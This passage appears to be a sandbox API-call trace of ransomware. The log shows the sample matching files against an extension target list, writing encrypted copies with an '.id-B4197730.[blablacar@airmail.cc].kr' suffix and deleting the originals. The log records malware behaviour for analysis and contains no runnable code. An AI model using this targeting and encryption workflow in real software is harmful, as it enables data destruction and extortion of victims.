dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.663] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.663] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.663] lstrlenW (lpString=".doc") returned 4 [0175.663] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.663] lstrlenW (lpString=".docx") returned 5 [0175.663] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.663] lstrlenW (lpString=".pdf") returned 4 [0175.663] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.663] lstrlenW (lpString=".xls") returned 4 [0175.663] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.663] lstrlenW (lpString=".xlsx") returned 5 [0175.663] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.663] lstrlenW (lpString=".ppt") returned 4 [0175.663] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.663] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.663] lstrlenW (lpString=".zip") returned 4 [0175.663] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.663] lstrlenW (lpString=".rar") returned 4 [0175.663] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.663] lstrlenW (lpString=".bz2") returned 4 [0175.663] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.663] lstrlenW (lpString=".7z") returned 3 [0175.663] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.663] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.663] lstrlenW (lpString=".dbf") returned 4 [0175.663] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.663] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.663] lstrlenW (lpString=".1cd") returned 4 [0175.663] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.663] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.663] lstrlenW (lpString=".jpg") returned 4 [0175.663] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.664] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.664] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.664] lstrlenW (lpString=".doc") returned 4 [0175.664] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.664] lstrlenW (lpString=".docx") returned 5 [0175.664] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.664] lstrlenW (lpString=".pdf") returned 4 [0175.664] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.664] lstrlenW (lpString=".xls") returned 4 [0175.664] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.664] lstrlenW (lpString=".xlsx") returned 5 [0175.664] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.664] lstrlenW (lpString=".ppt") returned 4 [0175.664] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.664] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.664] lstrlenW (lpString=".zip") returned 4 [0175.664] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.664] lstrlenW (lpString=".rar") returned 4 [0175.664] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.664] lstrlenW (lpString=".bz2") returned 4 [0175.664] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.664] lstrlenW (lpString=".7z") returned 3 [0175.664] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.664] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.664] lstrlenW (lpString=".dbf") returned 4 [0175.664] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.664] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.664] lstrlenW (lpString=".1cd") returned 4 [0175.664] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.664] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.664] lstrlenW (lpString=".jpg") returned 4 [0175.664] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.665] lstrcmpiW (lpString1=".mui", lpString2=".kr") returned 1 [0175.665] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0175.665] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.665] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=75616) returned 1 [0175.665] CloseHandle (hObject=0x344) returned 1 [0175.665] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0175.665] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.665] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.665] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.665] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.665] lstrlenW (lpString=".doc") returned 4 [0175.665] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.665] lstrlenW (lpString=".docx") returned 5 [0175.665] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.665] lstrlenW (lpString=".pdf") returned 4 [0175.665] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.665] lstrlenW (lpString=".xls") returned 4 [0175.666] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.666] lstrlenW (lpString=".xlsx") returned 5 [0175.666] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.666] lstrlenW (lpString=".ppt") returned 4 [0175.666] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.666] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.666] lstrlenW (lpString=".zip") returned 4 [0175.666] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.666] lstrlenW (lpString=".rar") returned 4 [0175.666] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.666] lstrlenW (lpString=".bz2") returned 4 [0175.666] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.666] lstrlenW (lpString=".7z") returned 3 [0175.666] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.666] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.666] lstrlenW (lpString=".dbf") returned 4 [0175.666] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.666] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.666] lstrlenW (lpString=".1cd") returned 4 [0175.666] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.666] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.666] lstrlenW (lpString=".jpg") returned 4 [0175.666] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.666] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.666] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.666] lstrlenW (lpString=".doc") returned 4 [0175.666] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.666] lstrlenW (lpString=".docx") returned 5 [0175.666] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.666] lstrlenW (lpString=".pdf") returned 4 [0175.666] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.666] lstrlenW (lpString=".xls") returned 4 [0175.666] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.667] lstrlenW (lpString=".xlsx") returned 5 [0175.667] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.667] lstrlenW (lpString=".ppt") returned 4 [0175.667] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.667] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.667] lstrlenW (lpString=".zip") returned 4 [0175.667] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.667] lstrlenW (lpString=".rar") returned 4 [0175.667] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.667] lstrlenW (lpString=".bz2") returned 4 [0175.667] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.667] lstrlenW (lpString=".7z") returned 3 [0175.667] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.667] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.667] lstrlenW (lpString=".dbf") returned 4 [0175.667] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.667] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.667] lstrlenW (lpString=".1cd") returned 4 [0175.667] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.667] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.667] lstrlenW (lpString=".jpg") returned 4 [0175.667] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.667] lstrcmpiW (lpString1=".mui", lpString2=".kr") returned 1 [0175.667] lstrlenW (lpString="memtest.exe.mui") returned 15 [0175.667] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.669] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=45472) returned 1 [0175.669] CloseHandle (hObject=0x344) returned 1 [0175.669] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0175.669] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.669] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.669] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.669] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.669] lstrlenW (lpString=".doc") returned 4 [0175.669] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.669] lstrlenW (lpString=".docx") returned 5 [0175.669] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.669] lstrlenW (lpString=".pdf") returned 4 [0175.669] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.669] lstrlenW (lpString=".xls") returned 4 [0175.669] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.669] lstrlenW (lpString=".xlsx") returned 5 [0175.669] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.669] lstrlenW (lpString=".ppt") returned 4 [0175.669] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.670] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.670] lstrlenW (lpString=".zip") returned 4 [0175.674] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0175.674] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0175.674] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0175.674] lstrlenW (lpString=".doc") returned 4 [0175.676] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0175.676] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0175.676] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0175.676] lstrlenW (lpString=".doc") returned 4 [0175.678] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0175.678] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0175.678] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0175.678] lstrlenW (lpString=".doc") returned 4 [0175.680] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0175.680] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0175.680] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0175.680] lstrlenW (lpString=".doc") returned 4 [0176.778] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0176.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0176.778] lstrlenW (lpString=".doc") returned 4 [0176.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0176.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0176.780] lstrlenW (lpString=".doc") returned 4 [0176.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0176.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0176.786] lstrlenW (lpString=".doc") returned 4 [0176.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0176.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0176.786] lstrlenW (lpString=".doc") returned 4 [0176.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0176.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0176.801] lstrlenW (lpString=".doc") returned 4 [0176.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0176.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0176.802] lstrlenW (lpString=".doc") returned 4 [0176.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0176.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0176.805] lstrlenW (lpString=".doc") returned 4 [0176.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0176.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0176.805] lstrlenW (lpString=".doc") returned 4 [0176.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0176.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0176.830] lstrlenW (lpString=".doc") returned 4 [0176.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0176.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0176.837] lstrlenW (lpString=".doc") returned 4 [0176.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0176.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0176.845] lstrlenW (lpString=".doc") returned 4 [0176.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0176.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0176.854] lstrlenW (lpString=".doc") returned 4 [0177.488] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=149) returned 1 [0177.488] CloseHandle (hObject=0x3ec) returned 1 [0177.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0177.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.488] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0177.488] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.488] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.489] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0177.670] GetLastError () returned 0x0 [0177.670] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x95, lpOverlapped=0x0) returned 1 [0177.688] WriteFile (in: hFile=0x3fc, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xa0, lpOverlapped=0x0) returned 1 [0177.689] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.689] WriteFile (in: hFile=0x3fc, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x104, lpOverlapped=0x0) returned 1 [0177.690] SetEndOfFile (hFile=0x3fc) returned 1 [0177.690] CloseHandle (hObject=0x3fc) returned 1 [0177.691] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.691] SetEndOfFile (hFile=0x3ec) returned 1 [0177.694] CloseHandle (hObject=0x3ec) returned 1 [0177.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0177.695] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1 [0177.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0177.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0177.696] lstrlenW (lpString=".doc") returned 4 [0177.696] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0177.696] lstrlenW (lpString=".docx") returned 5 [0177.696] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0177.696] lstrlenW 